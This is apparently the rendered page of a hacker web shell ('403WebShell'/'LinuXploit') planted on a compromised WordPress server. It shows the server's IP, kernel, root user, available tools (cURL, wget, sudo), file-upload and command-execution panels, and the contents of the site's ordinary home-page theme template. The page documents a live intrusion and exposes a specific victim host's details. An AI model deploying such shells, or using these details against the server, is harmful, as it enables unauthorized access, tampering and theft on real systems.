WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/tribe_david/wp-content/themes/tribe-of-david/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tribe_david/wp-content/themes/tribe-of-david/template-home.php
<?php
/**
 *
 * Template Name: Home Page
 * The main template file
 *
 * This is the most generic template file in a WordPress theme
 * and one of the two required files for a theme (the other being style.css).
 * It is used to display a page when nothing more specific matches a query.
 * E.g., it puts together the home page when no home.php file exists.
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package Tribe_of_David
 */

get_header();
$banner_args = array( 'post_type' => 'banners', 'posts_per_page' => -1 );
$banner_loop = new WP_Query( $banner_args );

$quotes = array();
$quote_args = array( 'post_type' => 'block_quote', 'posts_per_page' => -1,'order'   => 'ASC' );
$quote_loop= new WP_Query( $quote_args );
while ($quote_loop->have_posts()) : $quote_loop->the_post();
$quotes[] = get_post(get_the_ID());
endwhile;

$work_category_args = array( 'post_type' => 'work_categories', 'posts_per_page' => -1,'order'   => 'ASC'  );
$work_categories_loop = new WP_Query( $work_category_args );

$work_args = array( 'post_type' => 'work', 'posts_per_page' => -1,'order'   => 'ASC'  );
$work_loop = new WP_Query( $work_args );

$blog_args = array( 'post_type' => 'post', 'posts_per_page' => 3,'order'   => 'ASC'  );
$blog_loop = new WP_Query( $blog_args );

$client_args = array( 'post_type' => 'client', 'posts_per_page' => -1,'order'   => 'ASC'  );
$client_loop = new WP_Query( $client_args );

$home_page_id = get_theme_mod( 'home_page',26);
$about_page_id = get_theme_mod( 'about_us',9);
$work_page_id = get_theme_mod( 'work',14);
$contact_page_id = get_theme_mod( 'work',16);
$blog_page_id = get_theme_mod('blog',78)

?>
b

    <div class="main_page_content" data-stellar-background-ratio="0.5">
        <main class="hero_banner_section section">
            <div class="wrap">
                <ul class="hero_banner_slider">
                    <?php while ( $banner_loop->have_posts() ) : $banner_loop->the_post(); ?>
                         <?php if(rwmb_meta('tribe_of_david_banner_video_url') == ""): ?>
                            <li style="background-image: url('<?php the_post_thumbnail_url();  ?>')">
                                <h2><?php the_title() ?></h2>
                            </li>
                            <?php else: ?>
                                <li>
                                    <div class="videoWrapper">
                                        <iframe width="560" height="315" src="<?php echo rwmb_meta('tribe_of_david_banner_video_url')  ?>" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
                                    </div>
                                </li>
                        <?php endif;?>
                    <?php endwhile; ?>
                </ul>
            </div>
        </main>
        <div class="section who_we_are_section" id="about-us" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <div class="who_we_are_grid">
                    <div class="who_we_are_col col_with_title">
                        <h2 class="section_title"><?php echo rwmb_meta('tribe_of_david_home_page_highlight_main_title',[],$about_page_id) ?></h2>
                    </div>
                    <div class="who_we_are_col col_with_excerpt">
                        <?php echo rwmb_meta('tribe_of_david_home_page_highlight_sub_title',[],$about_page_id) ?>
                    </div>
                    <div class="who_we_are_col col_with_text">
                        <?php echo rwmb_meta('tribe_of_david_home_page_highlight',[],$about_page_id) ?>
                    </div>
                </div>
            </div>
        </div>
        <div class="section quote_section" style="background-image: url('<?php echo get_the_post_thumbnail_url($quotes[0]) ?>')" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <blockquote>&quot;<?php echo get_the_title($quotes[0]) ?>&quot;</blockquote>
            </div>
        </div>

        <div class="section services_section" id="our-services" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <div class="services_grid">
                    <div class="col_with_title services_col">
                        <h2 class="section_title"><?php echo rwmb_meta('tribe_of_david_home_page_highlight_main_title',[],$work_page_id) ?></h2>
                    </div>
                    <div class="services_col">
                        <div class="col_with_text">
                            <?php echo rwmb_meta('tribe_of_david_home_page_highlight',[],$work_page_id) ?>
                            <ul class="inline_links">
                                 <?php while ( $work_categories_loop->have_posts() ) : $work_categories_loop->the_post(); ?>
                                <li><?php the_title() ?></li>
                                <?php endwhile; ?>
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <div class="section quote_section" style="background-image: url('<?php echo get_the_post_thumbnail_url($quotes[1]) ?>')" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <blockquote>&quot;<?php echo get_the_title($quotes[1]) ?> &quot;</blockquote>
            </div>
        </div>

        <div class="section our_work_section" id="our-work" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <h2 class="section_title">WORK</h2>
                <ul class="work_filter_menu">
                    <li><a data-name="all" href="" class="filter_link active">All</a></li>
                    <?php while ( $work_categories_loop->have_posts() ) : $work_categories_loop->the_post(); ?>
                        <li><a class="filter_link" data-name="<?php the_title() ?>" href=""><?php the_title() ?></a></li>
                    <?php endwhile; ?>
                </ul>

                <div class="our_work_grid">
                    <?php while ( $work_loop->have_posts() ) : $work_loop->the_post(); ?>
                        <a href="<?php the_permalink(); ?>" class="our_work_col"  data-all="all" data-category="<?php echo get_the_title(rwmb_meta('tribe_of_david_work_category')) ?>">
                            <img src="<?php the_post_thumbnail_url(); ?>" alt="<?php the_title() ?>">
                            <div class="project_overlay">
                                <div class="project_overlay_inner">
                                    <span class="view_project"></span>
                                    <h4><?php the_title( ) ?></h4>
                                    <p>Client: <?php echo rwmb_meta('tribe_of_david_work_client') ?></p>
                                </div>
                            </div>
                        </a>
                    <?php endwhile; ?>
                </div>

            </div>
        </div>

        <div class="section client_logo_section" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <ul class="client_logos">
                       <?php while ( $client_loop->have_posts() ) : $client_loop->the_post(); ?>
                            <li><img src="<?php the_post_thumbnail_url(); ?>" alt=""></li>
                       <?php endwhile; ?>
                </ul>
            </div>
        </div>

        <div class="section quote_section" style="background-image: url('<?php echo get_the_post_thumbnail_url($quotes[3]) ?>')" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <blockquote>&quot;<?php echo get_the_title($quotes[3]) ?>&quot;</blockquote>
            </div>
        </div>

        <div class="section contact_us_section" id="contact" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <h2 class="section_title"><?php echo rwmb_meta('tribe_of_david_home_page_highlight_main_title',[],$contact_page_id) ?></h2>
                <h4><?php echo rwmb_meta('tribe_of_david_home_page_highlight_sub_title',[],$contact_page_id) ?></h4>
                <div class="contact_us_grid">
                   
                    <div class="contact_us_col">
                        <ul class="address">
                            <?php
                            $options = get_option( 'tribe_of_david_settings',false );
                            ?>

                            <?php if ($options['tribe_of_david_text_address']!=''):?>
                                <li><img src="<?php echo get_template_directory_uri(); ?>/images/location_icon.svg" alt=""><?php echo $options['tribe_of_david_text_address'] ?></li>
                            <?php endif;?>
                            <?php if ($options['tribe_of_david_text_phone']!=''):?>
                                <li><img src="<?php echo get_template_directory_uri(); ?>/images/phone_icon.svg" alt=""><?php echo $options['tribe_of_david_text_phone'] ?></li>
                            <?php endif;?>

                            <?php if ($options['tribe_of_david_text_contact_email']!=''):?>
                                <li><img src="<?php echo get_template_directory_uri(); ?>/images/message_icon.svg" alt=""><?php echo $options['tribe_of_david_text_contact_email'] ?></li>
                            <?php endif;?>

                        </ul>
                    </div>
                </div>
            </div>
        </div>

        <div class="section quote_section" style="background-image: url('<?php echo get_the_post_thumbnail_url($quotes[2]) ?>')" data-stellar-background-ratio="0.5">
            <div class="wrap">
                <blockquote>&quot;<?php echo get_the_title($quotes[2]) ?>&quot;</blockquote>
            </div>
        </div>



<?php
get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit